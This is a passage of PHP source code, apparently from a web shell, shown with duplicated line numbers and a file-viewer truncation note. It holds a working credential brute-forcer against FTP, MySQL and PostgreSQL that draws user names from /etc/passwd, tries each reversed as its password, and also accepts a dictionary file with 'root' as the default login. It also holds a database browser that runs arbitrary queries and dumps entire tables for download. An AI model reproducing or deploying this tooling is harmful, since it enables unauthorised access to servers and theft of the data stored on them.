    985. 

  985. 					if(@$_POST['reverse']) {
    986. 

  986. 						$tmp = "";
    987. 

  987. 						for($i=strlen($line[0])-1; $i>=0; --$i)
    988. 

  988. 							$tmp .= $line[0][$i];
    989. 

  989. 						++$attempts;
    990. 

  990. 						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
    991. 

  991. 							$success++;
    992. 

  992. 							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
    993. 

  993. 						}
    994. 

  994. 					}
    995. 

  995. 				}
    996. 

  996. 		} elseif($_POST['type'] == 2) {
    997. 

  997. 			$temp = @file($_POST['dict']);
    998. 

  998. 			if( is_array($temp) )
    999. 

  999. 				foreach($temp as $line) {
    1000. 

  1000. 					$line = trim($line);
    1001. 

  1001. 					++$attempts;
    1002. 

  1002. 					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
    1003. 

  1003. 						$success++;
    1004. 

  1004. 						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
    1005. 

  1005. 					}
    1006. 

  1006. 				}
    1007. 

  1007. 		}
    1008. 

  1008. 		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    1009. 

  1009. 	}
    1010. 

  1010. 	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
    1011. 

  1011. 		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
    1012. 

  1012. 		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
    1013. 

  1013. 		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
    1014. 

  1014. 		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
    1015. 

  1015. 		.'<span>Server:port</span></td>'
    1016. 

  1016. 		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
    1017. 

  1017. 		.'<tr><td><span>Brute type</span></td>'
    1018. 

  1018. 		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
    1019. 

  1019. 		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
    1020. 

  1020. 		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
    1021. 

  1021. 		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
    1022. 

  1022. 		.'<td><input type=text name=login value="root"></td></tr>'
    1023. 

  1023. 		.'<tr><td><span>Dictionary</span></td>'
    1024. 

  1024. 		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
    1025. 

  1025. 		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    1026. 

  1026. 	echo '</div><br>';
    1027. 

  1027. }
    1028. 

  1028. 

  1029. function actionSql() {
    1030. 

  1030. 	class DbClass {
    1031. 

  1031. 		var $type;
    1032. 

  1032. 		var $link;
    1033. 

  1033. 		var $res;
    1034. 

  1034. 		function DbClass($type)	{
    1035. 

  1035. 			$this->type = $type;
    1036. 

  1036. 		}
    1037. 

  1037. 		function connect($host, $user, $pass){
    1038. 

  1038. 			switch($this->type)	{
    1039. 

  1039. 				case 'mysql':
    1040. 

  1040. 					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
    1041. 

  1041. 					break;
    1042. 

  1042. 			}
    1043. 

  1043. 			return false;
    1044. 

  1044. 		}
    1045. 

  1045. 		function selectdb($db) {
    1046. 

  1046. 			switch($this->type)	{
    1047. 

  1047. 				case 'mysql':
    1048. 

  1048. 					if (@mysql_select_db($db))return true;
    1049. 

  1049. 					break;
    1050. 

  1050. 			}
    1051. 

  1051. 			return false;
    1052. 

  1052. 		}
    1053. 

  1053. 		function query($str) {
    1054. 

  1054. 			switch($this->type) {
    1055. 

  1055. 				case 'mysql':
    1056. 

  1056. 					return $this->res = @mysql_query($str);
    1057. 

  1057. 					break;
    1058. 

  1058. 			}
    1059. 

  1059. 			return false;
    1060. 

  1060. 		}
    1061. 

  1061. 		function fetch() {
    1062. 

  1062. 			$res = func_num_args()?func_get_arg(0):$this->res;
    1063. 

  1063. 			switch($this->type)	{
    1064. 

  1064. 				case 'mysql':
    1065. 

  1065. 					return @mysql_fetch_assoc($res);
    1066. 

  1066. 					break;
    1067. 

  1067. 			}
    1068. 

  1068. 			return false;
    1069. 

  1069. 		}
    1070. 

  1070. 		function listDbs() {
    1071. 

  1071. 			switch($this->type)	{
    1072. 

  1072. 				case 'mysql':
    1073. 

  1073. 					return $this->res = @mysql_list_dbs($this->link);
    1074. 

  1074. 				break;
    1075. 

  1075. 			}
    1076. 

  1076. 			return false;
    1077. 

  1077. 		}
    1078. 

  1078. 		function setCharset($str) {
    1079. 

  1079. 			switch($this->type)	{
    1080. 

  1080. 				case 'mysql':
    1081. 

  1081. 					if(function_exists('mysql_set_charset'))
    1082. 

  1082. 						return @mysql_set_charset($str, $this->link);
    1083. 

  1083. 					else
    1084. 

  1084. 						$this->query('SET CHARSET '.$str);
    1085. 

  1085. 					break;
    1086. 

  1086. 			}
    1087. 

  1087. 			return false;
    1088. 

  1088. 		}
    1089. 

  1089. 		function dump($table) {
    1090. 

  1090. 			switch($this->type)	{
    1091. 

  1091. 				case 'mysql':
    1092. 

  1092. 					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
    1093. 

  1093. 					$create = mysql_fetch_array($res);
    1094. 

  1094. 					echo $create[1].";\n\n";
    1095. 

  1095. 					$this->query('SELECT * FROM `'.$table.'`');
    1096. 

  1096. 					while($item = $this->fetch()) {
    1097. 

  1097. 						$columns = array();
    1098. 

  1098. 						foreach($item as $k=>$v) {
    1099. 

  1099. 							$item[$k] = "'".@mysql_real_escape_string($v)."'";
    1100. 

  1100. 							$columns[] = "`".$k."`";
    1101. 

  1101. 						}
    1102. 

  1102. 					echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
    1103. 

  1103. 					}
    1104. 

  1104. 				break;
    1105. 

  1105. 			}
    1106. 

  1106. 			return false;
    1107. 

  1107. 		}
    1108. 

  1108. 	};
    1109. 

  1109. 	$db = new DbClass('mysql');
    1110. 

  1110. 	if(@$_POST['p2']=='download') {
    1111. 

  1111. 		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass']);
    1112. 

  1112. 		$db->selectdb($_POST['sql_base']);
    1113. 

  1113. 		header("Content-Disposition: attachment; filename=dump.sql");
    1114. 

  1114. 		header("Content-Type: text/plain");
    1115. 

  1115. 		foreach($_POST['tbl'] as $v)
    1116. 

  1116. 			//if(preg_match('!table_(.*)!', $k, $table))
    1117. 

  1117. 				$db->dump($v);
    1118. 

  1118. 		exit;
    1119. 

  1119. 	}
    1120. 

  1120. 	?>
    1121. 

  1121. 	<h1>Sql browser</h1><div class=content>
    1122. 

  1122. 	<form name="sf" method="post">
    1123. 

  1123. 		<table cellpadding="2" cellspacing="0">
    1124. 

  1124. 			<tr>
    1125. 

  1125. 				<td>Host</td>
    1126. 

  1126. 				<td>Login</td>
    1127. 

  1127. 				<td>Password</td>
    1128. 

  1128. 				<td>Database</td>
    1129. 

  1129. 				<td></td>
    1130. 

  1130. 			</tr>
    1131. 

  1131. 			<tr>
    1132. 

  1132. 				<input type=hidden name=a value=Sql>
    1133. 

  1133. 				<input type=hidden name=p1 value='query'>
    1134. 

  1134. 				<input type=hidden name=p2>
    1135. 

  1135. 				<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
    1136. 

  1136. 				<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
    1137. 

  1137. 				<td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
    1138. 

  1138. 				<td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
    1139. 

  1139. 				<td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
    1140. 

  1140. 				<td>
    1141. 

  1141. 	<?php
    1142. 

  1142. 	$tmp = "<input type=text name=sql_base value=''>";
    1143. 

  1143. 	if(isset($_POST['sql_host'])){
    1144. 

  1144. 		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'])) {
    1145. 

  1145. 			switch($_POST['charset']) {
    1146. 

  1146. 				case "Windows-1251": $db->setCharset('cp1251'); break;
    1147. 

  1147. 				case "UTF-8": $db->setCharset('utf8'); break;
    1148. 

  1148. 				case "KOI8-R": $db->setCharset('koi8r'); break;
    1149. 

  1149. 				case "KOI8-U": $db->setCharset('koi8u'); break;
    1150. 

  1150. 			}
    1151. 

  1151. 			$db->listDbs();
    1152. 

  1152. 			echo "<select name=sql_base><option value=''></option>";
    1153. 

  1153. 			while($item = $db->fetch()) {
    1154. 

  1154. 				list($key, $value) = each($item);
    1155. 

  1155. 				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
    1156. 

  1156. 			}
    1157. 

  1157. 		}
    1158. 

  1158. 		else echo $tmp;
    1159. 

  1159. 	}else
    1160. 

  1160. 		echo $tmp;
    1161. 

  1161. 	?></td>
    1162. 

  1162. 				<td><input type=submit value=">>"></td>
    1163. 

  1163. 			</tr>
    1164. 

  1164. 		</table>
    1165. 

  1165. 		<script>
    1166. 

  1166. 			function st(t) {
    1167. 

  1167. 				document.sf.p1.value = 'select';
    1168. 

  1168. 				document.sf.p2.value = '';
    1169. 

  1169. 				document.sf.p3.value = t;
    1170. 

  1170. 				document.sf.submit();
    1171. 

  1171. 			}
    1172. 

  1172. 		</script>
    1173. 

  1173. 	<?php
    1174. 

  1174. 	if(isset($db) && $db->link){
    1175. 

  1175. 		echo "<table width=100% cellpadding=2 cellspacing=0>";
    1176. 

  1176. 			if(!empty($_POST['sql_base'])){
    1177. 

  1177. 				$db->selectdb($_POST['sql_base']);
    1178. 

  1178. 				echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
    1179. 

  1179. 				$db->query("show tables");
    1180. 

  1180. 				while($item = $db->fetch()) {
    1181. 

  1181. 					list($key, $value) = each($item);
    1182. 

  1182. 					echo "<nobr><input type='checkbox' name='tbl[]' value='".htmlspecialchars($value)."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a></nobr><br>";
    1183. 

  1183. 				}
    1184. 

  1184. 				echo "<input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
    1185. 

  1185. 				if(@$_POST['p1'] == 'select') {
    1186. 

  1186. 					$_POST['p1'] = 'query';
    1187. 

  1187. 					$_POST['p3'] = 'SELECT * FROM `'.$_POST['p3'].'` LIMIT 0,30';
    1188. 

  1188. 				}
    1189. 

  1189. 				echo "<textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
    1190. 

  1190. 				if(@$_POST['p1'] == 'query') {
    1191. 

  1191. 					$db->query(@$_POST['p3']);
    1192. 

  1192. 					if($db->res !== false) {
    1193. 

  1193. 						$title = false;
    1194. 

  1194. 						echo '<table width=100% cellspacing=0 cellpadding=2 class=main style="margin-top:5px">';
    1195. 

  1195. 						$line = 1;
    1196. 

  1196. 						while($item = $db->fetch())	{
    1197. 

  1197. 							if(!$title)	{
    1198. 

  1198. 								echo '<tr>';
    1199. 

  1199. 								foreach($item as $key => $value)
    1200. 

  1200. 									echo '<th>'.$key.'</th>';
    1201. 

  1201. 								reset($item);
    1202. 

  1202. 								$title=true;
    1203. 

  1203. 								echo '</tr><tr>';
    1204. 

  1204. 								$line = 2;
    1205. 

  1205. 							}
    1206. 

  1206. 							echo '<tr class="l'.$line.'">';
    1207. 

  1207. 							$line = $line==1?2:1;
    1208. 

  1208. 							foreach($item as $key => $value) {
    1209. 

  1209. 								if($value == null)
    1210. 

  1210. 									echo '<td><i>null</i></td>';
    1211. 

  1211. 								else
    1212. 

  1212. 									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
    1213. 

  1213. 							}
    1214. 

  1214. 							echo '</tr>';
    1215. 

  1215. 						}
    1216. 

  1216. 						echo '</table>';
    1217. 

  1217. 					}
    1218. 

  1218. 				}
    1219. 

  1219. 				echo "</td></tr>";
    1220. 

  1220. 			}
    1221. 

  1221. 			echo "</table></form><…
    1222.

Large files files are truncated, but you can click here to view the full file